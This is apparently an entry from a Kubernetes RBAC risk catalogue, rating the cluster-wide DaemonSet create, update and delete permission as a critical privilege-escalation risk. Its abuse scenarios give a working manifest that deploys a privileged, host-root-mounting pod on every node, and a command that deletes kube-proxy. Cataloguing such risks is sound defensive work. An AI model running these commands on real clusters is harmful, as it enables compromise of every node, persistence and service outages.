Overview

FieldValue
ID1035
NameManage DaemonSets cluster-wide (runs on all nodes, high impact)
Risk CategoryElevation of Privilege
Risk LevelCritical
Role TypeClusterRole
API Groupsapps
Resourcesdaemonsets
Verbscreate, update, patch, delete
TagsNodeAccess Persistence PrivilegeEscalation Tampering WorkloadLifecycle

Description

Permits creating, updating, or deleting DaemonSets across the cluster. DaemonSets ensure a pod runs on all (or selected) nodes. This is highly critical as it allows deploying privileged pods directly onto every node, leading to widespread node compromise, privilege escalation, and persistent access.

Abuse Scenarios

  1. Create a new DaemonSet that deploys a privileged pod on every node.
kubectl create -n <namespace> -f - <<EOF
apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: privileged-daemonset
spec:
  selector:
    matchLabels:
      app: privileged-ds
  template:
    metadata:
      labels:
        app: privileged-ds
    spec:
      hostNetwork: true
      hostPID: true
      containers:
      - name: attacker
        image: busybox
        command: ["/bin/sh", "-c", "sleep infinity"]
        securityContext:
          privileged: true
        volumeMounts:
        - mountPath: /host
          name: host-root
      volumes:
      - name: host-root
        hostPath:
          path: /
EOF
# Example: kubectl create -n kube-system -f - <<EOF ... EOF
  1. Delete a critical DaemonSet, disrupting cluster-wide services.
kubectl delete daemonset <daemonset-name> -n <namespace>
# Example: kubectl delete daemonset kube-proxy -n kube-system